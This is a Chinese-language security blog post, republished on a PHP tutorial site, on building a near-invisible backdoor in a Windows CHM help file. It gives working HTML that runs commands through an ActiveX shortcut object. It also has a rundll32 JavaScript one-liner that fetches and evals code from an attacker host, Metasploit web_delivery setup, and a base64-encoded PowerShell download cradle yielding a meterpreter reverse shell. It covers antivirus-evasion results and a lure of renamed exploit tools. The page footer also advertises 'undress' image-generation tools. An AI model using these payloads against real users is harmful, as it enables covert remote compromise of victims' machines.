目錄
0x00 简介
0x01 CHM 简介
0x02 CHM 制作
0x03 CHM Execute Command
0x04 去除弹框
1、结合CHM + JSBackdoor
2、获取meterpreter会话
3、是否被杀?
0x05 利用场景
0x06 防御
0x07 小结
0x08 参考
本文由evi1cg原创并首发于乌云drops,转载请注明
首頁 web前端 html教學 高级组合技打造“完美” 捆绑后门_html/css_WEB-ITnose

高级组合技打造“完美” 捆绑后门_html/css_WEB-ITnose

Jun 21, 2016 am 08:52 AM

0x00 简介

之前写过一篇关于客户端钓鱼的文章: 《使用powershell Client进行有效钓鱼》 中,在使用各个Client进行测试的过程中,个人发现CHM文件是最好用的一个,但是其缺点就是会弹黑框,这样就会让被攻击者察觉。那么怎么让他不弹黑框呢?那就是本文要介绍的内容啦~

0x01 CHM 简介

在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。

CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。

0x02 CHM 制作

CHM的制作方法很多。有多款工具可以使用,这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件,使用起来非常简单。

新建如下目录,文件内容随意:

打开EasyCHM,新建->浏览。选择该目录。默认文件类型:

点击确认,即可看到预览的CHM文件:

选择编译,即可编译成CHM文件。

0x03 CHM Execute Command

[email protected]

在twitter上发了一个demo,通过CHM运行计算器:

利用代码如下:

#!html<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
登入後複製

将以上代码写入html,置于工程目录进行编译,生成CHM文件,运行此文件,弹出计算器:

0x04 去除弹框

有测试过nishang Out-CHM 的同学会发现,运行生成的CHM文件的时候会看到明显的弹框。就像这样:

某个晚上突然脑洞了一下,想到了一个好的方式来让他不显示弹框,即结合使用JavaScript Backdoor。经过测试,成功实现在不弹框的情况下获取meterpreter会话,此次测试使用一个我修改过的python版 JSRat.ps1 ,地址为:https://github.com/Ridter/MyJSRat。使用方式详见 readme。

以下为完整的测试过程:

1、结合CHM + JSBackdoor

使用交互模式的JSRat server:

#!bashpython MyJSRat.py -i 192.168.1.101 -p 8080
登入後複製

访问 http://192.168.1.101:8080/wtf 获取攻击代码如下:

#!bashrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
登入後複製

经过多次测试,成功将以上命令写入chm,其Html代码为:

#!html<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
登入後複製

编译以后运行,可以成功获取JS交互shell:

直接执行 cmd /c command 是会有黑框的,可以使用run来避免显示黑框。执行run以后,输入 whoami > e:\1.txt 之后通过read 来获取回显。

2、获取meterpreter会话

此次测试获取meterpreter会话的方式是通过执行powershell命令,直接获取,当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。具体操作如下:

开启MSF web_delivery:

#!bash ~  msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 8081SRVPORT => 8081msf exploit(web_delivery) > set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 192.168.1.101:6666[*] Using URL: http://0.0.0.0:8081/[*] Local IP: http://192.168.1.101:8081/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
登入後複製

装有powershell的客户端执行以下命令则可获取meterpreter会话:

#!bashpowershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
登入後複製

由于存在特殊字符,我们可以把以上代码编码为base64格式,将以下代码存入power.txt

#!bash$n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
登入後複製

执行以下命令:

#!bashcat power.txt | iconv --to-code UTF-16LE |base64
登入後複製

最终要执行的powershell命令为:

#!bashpowershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
登入後複製

使用执行命令模式直接获取meterpreter会话:

#!bashpython MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
登入後複製

测试过程中,从运行CHM到获取meterpreter,客户端无明显异常,全程无黑框弹出,获取到meterpreter会话如下图:

3、是否被杀?

可能很多人会问,会不会被杀,下面是virscan的查杀结果:

http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

0x05 利用场景

一张图说明(让我猜猜你会不会点):

注: 随便找了几个漏洞利用工具修改了文件名,并不代表原作者分享的工具有问题。

0x06 防御

目前我还没查到什么防御的姿势,知道的小伙伴可以分享一下。最好就是提高个人安全意识,对于这类文件,多注意一下,尽量别乱点,如果非要点,可以放到虚拟机里面。使用procexp.exe可以看到存在后门的chm文件会开启新的进程:

0x07 小结

此次测试就是对一些已知的攻击手法进行结合,结果是让此捆绑后门更加隐蔽,近乎“完美”,美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害,小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍,希望小伙伴们能免受其害。

0x08 参考

  1. https://twitter.com/ithurricanept/status/534993743196090368
  2. https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
  3. http://drops.wooyun.org/tips/11764
  4. https://github.com/samratashok/nishang

本文由evi1cg原创并首发于乌云drops,转载请注明

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
4 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

&gt; gt;的目的是什麼 元素? &gt; gt;的目的是什麼 元素? Mar 21, 2025 pm 12:34 PM

本文討論了HTML&lt; Progress&gt;元素,其目的,樣式和與&lt; meter&gt;元素。主要重點是使用&lt; progress&gt;為了完成任務和LT;儀表&gt;對於stati

&lt; datalist&gt;的目的是什麼。 元素? &lt; datalist&gt;的目的是什麼。 元素? Mar 21, 2025 pm 12:33 PM

本文討論了html&lt; datalist&gt;元素,通過提供自動完整建議,改善用戶體驗並減少錯誤來增強表格。Character計數:159

HTML5中跨瀏覽器兼容性的最佳實踐是什麼? HTML5中跨瀏覽器兼容性的最佳實踐是什麼? Mar 17, 2025 pm 12:20 PM

文章討論了確保HTML5跨瀏覽器兼容性的最佳實踐,重點是特徵檢測,進行性增強和測試方法。

&lt; meter&gt;的目的是什麼。 元素? &lt; meter&gt;的目的是什麼。 元素? Mar 21, 2025 pm 12:35 PM

本文討論了HTML&lt; meter&gt;元素,用於在一個範圍內顯示標量或分數值及其在Web開發中的常見應用。它區分了&lt; meter&gt;從&lt; progress&gt;和前

如何使用HTML5表單驗證屬性來驗證用戶輸入? 如何使用HTML5表單驗證屬性來驗證用戶輸入? Mar 17, 2025 pm 12:27 PM

本文討論了使用HTML5表單驗證屬性,例如必需的,圖案,最小,最大和長度限制,以直接在瀏覽器中驗證用戶輸入。

視口元標籤是什麼?為什麼對響應式設計很重要? 視口元標籤是什麼?為什麼對響應式設計很重要? Mar 20, 2025 pm 05:56 PM

本文討論了視口元標籤,這對於移動設備上的響應式Web設計至關重要。它解釋瞭如何正確使用確保最佳的內容縮放和用戶交互,而濫用可能會導致設計和可訪問性問題。

&lt; iframe&gt;的目的是什麼。 標籤?使用時的安全考慮是什麼? &lt; iframe&gt;的目的是什麼。 標籤?使用時的安全考慮是什麼? Mar 20, 2025 pm 06:05 PM

本文討論了&lt; iframe&gt;將外部內容嵌入網頁,其常見用途,安全風險以及諸如對象標籤和API等替代方案的目的。

Gitee Pages靜態網站部署失敗:單個文件404錯誤如何排查和解決? Gitee Pages靜態網站部署失敗:單個文件404錯誤如何排查和解決? Apr 04, 2025 pm 11:54 PM

GiteePages靜態網站部署失敗:404錯誤排查與解決在使用Gitee...

See all articles